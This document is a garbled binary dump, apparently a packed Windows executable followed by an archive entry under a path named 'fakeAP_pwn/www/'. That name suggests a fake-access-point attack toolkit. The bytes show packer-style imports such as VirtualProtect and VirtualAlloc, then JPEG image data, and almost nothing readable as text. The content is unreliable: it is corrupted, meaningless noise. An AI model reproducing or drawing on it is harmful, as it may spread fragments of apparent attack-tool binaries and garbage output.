fo_TipExnalW+DirUseCᄉo$ject;?=b dػ[="rtl">rd> F, /?<-ƺpk/l>W/r[Vd. ]nr q6ۮY6)om\eu6Ug;8ܞv7`d5aomfomadva{pi3)dllCr>tAc=44Rrpn=ARٰ asζ HhG Pam7D%vpaDmoy4cٻ,coNApp=\Ro>l_hR^g\Mi*o~\Pt#l%iۛ ,$.8X-.4!㧰Y *.*SmmFl+iжmrels҇mEr r: C{7n ld)he(l23l\.]Ss./W7g6Q':K}vtmsgUnk\wM:s\w R_zedkYQe.. oo4n h()!mvWm"u_VNag Ȓfg㭵]ysd/\,Vckl#_z|TrtN{a"URL+_lM}.Qi,ֺ%-18s% {nr.s bgK n# QSldsen[ '9H=eY?"jg"gKbaV1cflpd 5"Tb//af BpXr+7Ϲ7em;<&V/s'e gig 6 Hf;dkFa%Ѐ{oM2Ӷ4 !G-%c\n/O9mSj{ }Ǹ6`r } hrHidu^R{Ѻ= EAX=$EB ]I&CD(S;YI BP(SP6$I SCD*U]<ܞ]cTokLo up$~ueA djuGX& 6nu SjpoMFLtN!k{ E , H3v>JBZ΂53s' Gx'+?Z&'rm-X/X'$)Zp_rATIC;tT6{A7FA\ԟLʃedu#@ifn{HQs:SHBBiSczFT߄rPhA#lw #ASopsK Y&r;-dgo &MR' g& {!DOCTYPE HTML PUBLRo "- W3CDTD5v3\ ENi0myoh3!^7/-M/S!azedROŞ#>b$f3dp)VXj. ds:.7hoH 0Ql%[t%*3d\\\K8Dphwr/\w?[j?""'͍??e{O7`?fywe?3?;ˁvg ?x~pZkmŸ?z?h`vvy&t$?p8;Ȼտ$LA?p{9a?nG?o"Jwxxwtc}G%y%?x5? νY00?#kp~?' s&DGԘ|V?wBp?{9xp:>??AUps??@z/%kggq"k6gk%΀g+ 4_w''GdVקeHeOPx6*U&File[AdvancڨdO?t%os 19-ASa3e%SGc+7뺱I m3C r+'6؟XD/t=5,+sIPIow\ee#l+E39rBEN7dF5cHCoyˎ CV9K(Q )I7]7'WASci%`+8bGM lA,a#Ois-+aDVOwcEhw_G)i{L+S%^F&T oisFGHM? Rlkp)r-v`OJ3&5 RKF _o u%&L Yu=oWz+n16$PsgƒDCf!h}g75p)C;lύmb[qP%Pu1A% I?1=;cDVq& ȀGvDab<MagOfnP qaYi@kܝI< ߍ=lE cuA)e}x{ugʺ!DP˒T?gqP,q7_8$u 5+ Tm+aAvglcq`G|TQflklOgKa unr rh-o#C\co:sRns#7Im1t;lipMbmuc_ast,c+O7agJ8e$!E񺱱cpKa+dm3 ;a ^oswW/.{ȣ uj#!rVwDgӔM  {4%1L"ݲdÝi{s[Ʒk y)5#\n lg-[C7g && 1AfmcǬl%K1Wss'-l$3eaSeܭIwx0;DYu_H@:P[%%uC)%WuI7w.%'J\}9{XK<#C`&l l+ CCwUb4]ed jp41mdWBl$Fc7@s1l)N  +us Xes)n!m"eAy3-rǔM5:3=KI6OB tg- AR @oHM4 S#L[+a213'M;&p2g+/2e#LDn/@lH3%#AF.QH!e#bEDef | E7[1Gt6,c-[ !SNk1H%#ݩ# y{wl ^N7gEF8{vil$.i lbcmNqr u)?%5 d5asa} ,K'ipix+1)9I0c7`7%U"1v(= p%a;inb7_3 E[>OmsLtéWKᐒw*uY1d% !a{Aʶduia ?+Y7wI\cy aL,_9a ceT_xvB]ict/|dfab]S`]Hd5-V]c)F`:X'cm d_FXZaNwd<ťN)SI)+ y Sԡ W,ʖMuH sq%Ed u]P7-SI2vW1V^C ?HOFN(Xw5G'.m^{ EA]XLtD[>n@4"CΡ@7ЍResumeTQnad 1VirtuEx"aU-FSgleObړ#All:P$Yourc[ypesAta3'pkH֍3Rft2&BDnB%U HUvGo *js7ze~s7'c$Lastl6;]GտDoS doWiDowsp]F&9Ak J (tiByooKdeChay6ddC5bUnksxfy\n8L6- of8vVdbbcTpۓ!;OAttbG˶us0 6vphaoG V8 O~Mag !L'E@,f4-UMAx0SaCnc2dDe'kSe eI;iNal1gHKe$H c QuxyjazaM)# fe+W(`XƧAʀB>@`6 + b-Im{*_Y 7u8l`3{kMakedl[{BBIcwjvK'ܨavTNX`~Bku8ոI'^ۛ2l@$ha G)t+>ok@f`>` 2)CO:b_~_pL_a}'_fvsֵ5e:hU_jytgcwegs9cmnӃufecXcp`3kfic_!l_?l 1WnPppu^a qs'lwZmNmbH$2mpet$cwf"d#}(`eJ_hyrX&3EemXi}m 3笋Yffu[uua3??2@YAPAsXI@Z 3X Pasέ=utwcs *{a6 ImlӃְ`Iil$+ UwpHBrO}rxAxkFmIDM@S?E4[QNtcmUfBcsrunf+hi}f ug?9dD$&lgI=$k6:S3 7Ӱ]G#I!bJBoveoHg !RC-dwUpd`5cFK@{ˮ G+0Tqv &~"pf Hle5f+ *dcS͞c!:vN7FC'f$ /pb8ϐ# .~n)*'@f{v.&O' `Os %=O:qn-y,$`@ W FGurusu s1Ƀr Fttuuu Ausu s/vBGIucwL^G,<w?u_f)ٍ` tE_0lP4Gt܉yGPGWHU8 tH<PTjSWՍ `(XPTPSWXaD$j9uW hHXX ( hX 54h  6h 4; 8 <p  Hh hfh0  \P HSPikmpH0  4PX`įhίpٯx(6DR`lx~KERNEL32.DLLADVAPI32.dllCOMCTL32.dllcomdlg32.dllGDI32.dllmsvcrt.dllole32.dllSHELL32.dllUSER32.dllLoadLibraryAGetProcAddressVirtualProtectVirtualAllocVirtualFreeExitProcessRegCloseKeyFindTextASetBkModeexitCoInitializeSHGetMallocGetDCfakeAP_pwn/www/your operating system.jpg 777 0 0 10172 11437457046 13765 0JFIFZZCCdd"  W   !1"AQSa2q 5BRTVct#CD$&34EFbder K !Aa1Qbq#RSTr"%2BEU4DdeC ?uZ復Yi%L>Caz ym%N8E *+Ȏ2Mw&JgJŜ=2ִ, -q,( TaͰ"aZEl٭zXLґlJF(bЃ Q m2K=3TW#ej1Z]Gl Xmry&qj LsmL>lQԃ]H^hEBU}uhkNWJWLe{"5Jϫ#lF4ˑU[+4u;֞u(U08xeu9Q"un:c+؍|e]"3Z{PoZ{PqD Uކ TAYG'w/&=һ.zkJϿ}iA}iA6ag-ޚwN6_Q^L{b5v\+F}Oj Oj'0+(xDnoMնy$\+#/EAb u:9**O\צ99<3T/6/!a8#&5ظ /R]Lhgw^.?cو.~Q { *w讂#6ЊQ6rfR8heafJZjvm>%$'f_tU/+*۳@$!VTLKKt8if$ yG$/tSJU$aN14EU?<1ߡz>H.O}c79;ō>G?? %r[ܽӗϚ{E;:OG;xg?}cO~&K},z3Dz3,wt 'vcO~& Ɵ#ML$hYorgCYeg4X=\:OGƟ#MLō>G?8I/;в·3/襵{U@L ֝>cKjG(ݿMzq?MIJ{z ,;)ln&.\>^Y:+HSn,h )YF8+4.kHl ""$h}Tꆤ6a[t]ޮDDD.MX+J25U  `h#S:PF쌤}NK- PK! (p8QM&)Vnj,$EZ,5k!Ev]9ܘVm_Lm;>V/8d9s>"9^.8al7YJK$#M[qI }-hRR RIӘR.GhB*HUR\= 5bEŋ8y2ETJA(F+BIKJui I ޹vMprFUdSD:uFLle99 -P2uBMuQm(j$z0S TJw͟80(kZċu|pA @E\ddX<˴A\ @@JhA(AP